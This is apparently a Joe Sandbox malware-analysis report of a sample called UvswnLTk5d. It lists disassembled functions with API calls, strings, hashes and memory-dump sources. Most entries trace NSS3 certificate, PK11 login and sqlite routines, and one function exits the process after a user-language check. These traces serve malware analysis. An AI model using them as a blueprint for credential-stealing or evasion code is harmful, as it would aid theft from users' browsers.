Instruction ID: f16d68fd9582ac4125616c5e50f94de62243aa4c7be40d45a23fde697d24a6fa
Opcode Fuzzy Hash: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction Fuzzy Hash: 4501AD32A05621ABD720BF6A98057CA7770AF04725F90402FF810A3390CB7CA9C2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFE4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFE4DE0

Strings

misuse, xrefs: 6CFE4DD5
invalid, xrefs: 6CFE4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFE4DCB
API call with %s database connection pointer, xrefs: 6CFE4DBD
%s at line %d of [%.10s], xrefs: 6CFE4DDA

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 09bba63875f3646acac364c7a804e3ee99b5e5671228afa60157d3163ccdbc75
Instruction ID: 51fc2758e2857daf2d8fbcca300ca2eae53cd29064011f7f366459d5b1be5745
Opcode Fuzzy Hash: 09bba63875f3646acac364c7a804e3ee99b5e5671228afa60157d3163ccdbc75
Instruction Fuzzy Hash: A3F05921F04624BBEB114096CD10F933BA54F0931CF5641B8FE1CAB6E3D205A86092A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFE4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFE4E4D

Strings

misuse, xrefs: 6CFE4E42
invalid, xrefs: 6CFE4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFE4E38
API call with %s database connection pointer, xrefs: 6CFE4E2A
%s at line %d of [%.10s], xrefs: 6CFE4E47

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 856dfbd79f96d0238fd6c05b4fafc50c0c059303cb0099ceb8d1d809729c7f21
Instruction ID: 8d8ba4f0708839a7c74f52f420a4ce448c93c1c3ba03de12e252b18e7bd63299
Opcode Fuzzy Hash: 856dfbd79f96d0238fd6c05b4fafc50c0c059303cb0099ceb8d1d809729c7f21
Instruction Fuzzy Hash: 47F02711F44928BBFA1052A59D10FE33F8A8B0932DF59C1BAFE1C67BD3D20598605692

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434
ExitProcess.KERNEL32 ref: 00413465
ExitProcess.KERNEL32 ref: 0041346F
ExitProcess.KERNEL32 ref: 00413479
ExitProcess.KERNEL32 ref: 00413483
ExitProcess.KERNEL32 ref: 0041348D

Strings

*, xrefs: 0041344C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction ID: 75b540bad49881e9417c8f8c63d74940121d586cf5f959f7794e893d96f52075
Opcode Fuzzy Hash: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction Fuzzy Hash: 4BF05830508608EFE364EFE0EF0976CBBB1EB8E703F001195E60A86290CA744A119B65

Uniqueness

Uniqueness Score: -1.00%

Function 6CF50C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CF51444,?,?,?,00000000,00000000,?,?,6CF51444,?,?,00000000,?,?), ref: 6CF50CB3

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CF51444,?,?,?,00000000,00000000,?,?,6CF51444,?), ref: 6CF50DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CF51444,?,?,?,00000000,00000000,?,?,6CF51444,?), ref: 6CF50DEC

Part of subcall function 6CF70F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CF12AF5,?,?,?,?,?,6CF10A1B,00000000), ref: 6CF70F1A
Part of subcall function 6CF70F10: malloc.MOZGLUE(00000001), ref: 6CF70F30
Part of subcall function 6CF70F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF70F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,6CF51444,?,?,?,?,?,6CF51444,?,?,?,00000000,00000000,?), ref: 6CF50DFF
memcpy.VCRUNTIME140(?,?,6CF51444,?,?,?,?,?,?,?,?,6CF51444,?,?,?,00000000), ref: 6CF50E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CF51444,?,?,?,00000000,00000000,?), ref: 6CF50E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CF51444,?,?,?,00000000,00000000,?,?,6CF51444,?,?,00000000), ref: 6CF50E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CF51444,?,?,?,00000000,00000000,?), ref: 6CF50E79

Part of subcall function 6CF61560: TlsGetValue.KERNEL32(00000000,?,6CF30844,?), ref: 6CF6157A
Part of subcall function 6CF61560: EnterCriticalSection.KERNEL32(?,?,?,6CF30844,?), ref: 6CF6158F
Part of subcall function 6CF61560: PR_Unlock.NSS3(?,?,?,?,6CF30844,?), ref: 6CF615B2

Part of subcall function 6CF2B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CF31397,00000000,?,6CF2CF93,5B5F5EC0,00000000,?,6CF31397,?), ref: 6CF2B1CB
Part of subcall function 6CF2B1A0: free.MOZGLUE(5B5F5EC0,?,6CF2CF93,5B5F5EC0,00000000,?,6CF31397,?), ref: 6CF2B1D2

Part of subcall function 6CF289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CF288AE,-00000008), ref: 6CF28A04
Part of subcall function 6CF289E0: EnterCriticalSection.KERNEL32(?), ref: 6CF28A15
Part of subcall function 6CF289E0: memset.VCRUNTIME140(6CF288AE,00000000,00000132), ref: 6CF28A27
Part of subcall function 6CF289E0: PR_Unlock.NSS3(?), ref: 6CF28A35

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 1b7ea4a8a93ad0143e59d60f8271cf39c6a6e2c8aadda5af9c64b2c7cfcc46b2
Instruction ID: b107822546a4f49519294cc70d2a8cb74b76321fea825b22095b3edeba71e815
Opcode Fuzzy Hash: 1b7ea4a8a93ad0143e59d60f8271cf39c6a6e2c8aadda5af9c64b2c7cfcc46b2
Instruction Fuzzy Hash: 9F51B7B6E002106FEB009F64DC81AFB37A8EF5525CF554424ED099B712FB71ED2586E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF29C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CF28850: calloc.MOZGLUE(?,00000028,00000000,?,?,6CF30715), ref: 6CF28859
Part of subcall function 6CF28850: PR_NewLock.NSS3 ref: 6CF28874
Part of subcall function 6CF28850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CF2888D

PR_NewLock.NSS3 ref: 6CF29CAD

Part of subcall function 6CFD98D0: calloc.MOZGLUE(?,00000084,6CF00936,00000001,?,6CF0102C), ref: 6CFD98E5

Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007AD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007CD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007D6
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,00000144,?,?,?,?,6CE9204A), ref: 6CF007E4
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,6CE9204A), ref: 6CF00864
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,0000002C), ref: 6CF00880
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,6CE9204A), ref: 6CF008CB
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008D7
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008FB

TlsGetValue.KERNEL32 ref: 6CF29CE8
EnterCriticalSection.KERNEL32(?,?,6CF2ECEC,6CF32FCD,00000000,?,6CF32FCD,?), ref: 6CF29D01
TlsGetValue.KERNEL32(?,?,?,6CF2ECEC,6CF32FCD,00000000,?,6CF32FCD,?), ref: 6CF29D38
EnterCriticalSection.KERNEL32(?,?,6CF2ECEC,6CF32FCD,00000000,?,6CF32FCD,?), ref: 6CF29D4D
PR_Unlock.NSS3 ref: 6CF29D70
PR_Unlock.NSS3 ref: 6CF29DC3
PR_NewLock.NSS3 ref: 6CF29DDD

Part of subcall function 6CF288D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CF30725,00000000,00000058), ref: 6CF28906
Part of subcall function 6CF288D0: EnterCriticalSection.KERNEL32(?), ref: 6CF2891A
Part of subcall function 6CF288D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CF2894A
Part of subcall function 6CF288D0: calloc.MOZGLUE(?,6CF3072D,00000000,00000000,00000000,?,6CF30725,00000000,00000058), ref: 6CF28959
Part of subcall function 6CF288D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CF28993
Part of subcall function 6CF288D0: PR_Unlock.NSS3(?), ref: 6CF289AF

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 7870ec0f1deda3f20db3e5b4036c3fa33aeb2d2bff49471cf5ea3b6e4e18b7ce
Instruction ID: dedbf8fce774165da4e5a8a696642fb549bc1573e6b585e0634885d2e976d0af
Opcode Fuzzy Hash: 7870ec0f1deda3f20db3e5b4036c3fa33aeb2d2bff49471cf5ea3b6e4e18b7ce
Instruction Fuzzy Hash: 08515071A057058FDB00EFA9C0847AABBF0FF45355F558929D8989B710DF38E984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CF1DCFA

Part of subcall function 6CFD9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DC6
Part of subcall function 6CFD9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DD1
Part of subcall function 6CFD9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFD9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF1DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CF1DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CF1DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CF1DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CF1DD8F

Part of subcall function 6CF306A0: TlsGetValue.KERNEL32 ref: 6CF306C2
Part of subcall function 6CF306A0: EnterCriticalSection.KERNEL32(?), ref: 6CF306D6
Part of subcall function 6CF306A0: PR_Unlock.NSS3 ref: 6CF306EB

CERT_DestroyCertificate.NSS3(?), ref: 6CF1DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CF1DDB7

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 0a77231b7986a3b0b31d358246e274c2054e06a101b40f1cf5cad7a972b498a5
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 33218FB6E091159BDF029EA4DC80A9FB7B4AF05218F150024ED18A7B01E731EA15CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF13C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CF8460B,?,?), ref: 6CF13CA9
EnterCriticalSection.KERNEL32(?), ref: 6CF13CB9
PL_HashTableLookup.NSS3(?), ref: 6CF13CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CF13CD6
PR_Unlock.NSS3 ref: 6CF13CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CF13CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF13D03
PR_Unlock.NSS3 ref: 6CF13D15

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 10ecd876f706711e8865793f4ffc732bf10a43dfe413e52e3e7d4c31a0a13b45
Instruction ID: 4d7b8ea7a33954ca4dcc64ce76a10db85a33fcfc8cd6cfcdf8f1a5d3dc79838c
Opcode Fuzzy Hash: 10ecd876f706711e8865793f4ffc732bf10a43dfe413e52e3e7d4c31a0a13b45
Instruction Fuzzy Hash: 461129B6D04115A7EB112B35DC01BAA7A78EB0325CF140130ED18A7B12F732D95C87E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF98D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6CF98E19
free.MOZGLUE(?), ref: 6CF98E2D
PORT_Alloc_Util.NSS3(?), ref: 6CF98F01
memcpy.VCRUNTIME140(?,?,?), ref: 6CF98F57
free.MOZGLUE(?), ref: 6CF98F7D
PR_GetCurrentThread.NSS3 ref: 6CF98F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6CF990D6

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: ca1907989a50ca055e8828e77bed22cedc7a48e76fdc1ba678db2c772c1f7c8f
Instruction ID: 7f3795cd2876bad8fca78beb435b840a1c42608a8ec0520f50a1616d50a6d6bd
Opcode Fuzzy Hash: ca1907989a50ca055e8828e77bed22cedc7a48e76fdc1ba678db2c772c1f7c8f
Instruction Fuzzy Hash: 78A1D3716043019FFB14DF64C850BEBB7E4EF84308F054A2AE95ACB652E731E648C792

Uniqueness

Uniqueness Score: -1.00%

Function 6CF88C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF88C93

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

Part of subcall function 6CF68A60: TlsGetValue.KERNEL32(6CF161C4,?,6CF15F9C,00000000), ref: 6CF68A81
Part of subcall function 6CF68A60: TlsGetValue.KERNEL32(?,?,?,6CF15F9C,00000000), ref: 6CF68A9E
Part of subcall function 6CF68A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CF15F9C,00000000), ref: 6CF68AB7
Part of subcall function 6CF68A60: PR_Unlock.NSS3(?,?,?,?,?,6CF15F9C,00000000), ref: 6CF68AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CF88CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CF88D10

Part of subcall function 6CF68970: TlsGetValue.KERNEL32(?,00000000,6CF161C4,?,6CF15639,00000000), ref: 6CF68991
Part of subcall function 6CF68970: TlsGetValue.KERNEL32(?,?,?,?,?,6CF15639,00000000), ref: 6CF689AD
Part of subcall function 6CF68970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF15639,00000000), ref: 6CF689C6
Part of subcall function 6CF68970: PR_WaitCondVar.NSS3 ref: 6CF689F7
Part of subcall function 6CF68970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF15639,00000000), ref: 6CF68A0C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 8871808d0f506f48da254c2efa16bfded06b84b047ddbe32092244e728add9d4
Instruction ID: 3dc8e4914dbce5acb2d3d766970e63de911584dd15e0e1d51c6a08d29046ae00
Opcode Fuzzy Hash: 8871808d0f506f48da254c2efa16bfded06b84b047ddbe32092244e728add9d4
Instruction Fuzzy Hash: CBB190B1D013089FDB15CF65DC40AAEBBBAFF48308F10452EE91AA7751E731A955CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6CF19C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF311C0: PR_NewLock.NSS3 ref: 6CF31216

free.MOZGLUE(?), ref: 6CF19E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF19E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF19E4E
TlsGetValue.KERNEL32 ref: 6CF19EA2

Part of subcall function 6CF29500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CF29546

EnterCriticalSection.KERNEL32(?), ref: 6CF19EB6
PR_Unlock.NSS3 ref: 6CF19ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CF19F18

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 049573e3ee77530928e847ad804cfbbf7cfc69161b7cd7c99485dfa257b024f7
Instruction ID: 4270464e27e139235876023249c7181371006e877066489fd14684add4aafe0b
Opcode Fuzzy Hash: 049573e3ee77530928e847ad804cfbbf7cfc69161b7cd7c99485dfa257b024f7
Instruction Fuzzy Hash: 8681D2B6A04601ABEB109F34DC41BEBB7A9BF45248F144528E84987F41FF31EA18C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF2DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2AB10: DeleteCriticalSection.KERNEL32(D958E852,6CF31397,5B5F5EC0,?,?,6CF2B1EE,2404110F,?,?), ref: 6CF2AB3C
Part of subcall function 6CF2AB10: free.MOZGLUE(D958E836,?,6CF2B1EE,2404110F,?,?), ref: 6CF2AB49
Part of subcall function 6CF2AB10: DeleteCriticalSection.KERNEL32(5D5E6D12), ref: 6CF2AB5C
Part of subcall function 6CF2AB10: free.MOZGLUE(5D5E6D06), ref: 6CF2AB63
Part of subcall function 6CF2AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CF2AB6F
Part of subcall function 6CF2AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CF2AB76

TlsGetValue.KERNEL32 ref: 6CF2DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CF2DD0E
PK11_IsFriendly.NSS3(?), ref: 6CF2DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CF2DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF2DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF2DEA6
PR_Unlock.NSS3(?), ref: 6CF2DF08

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
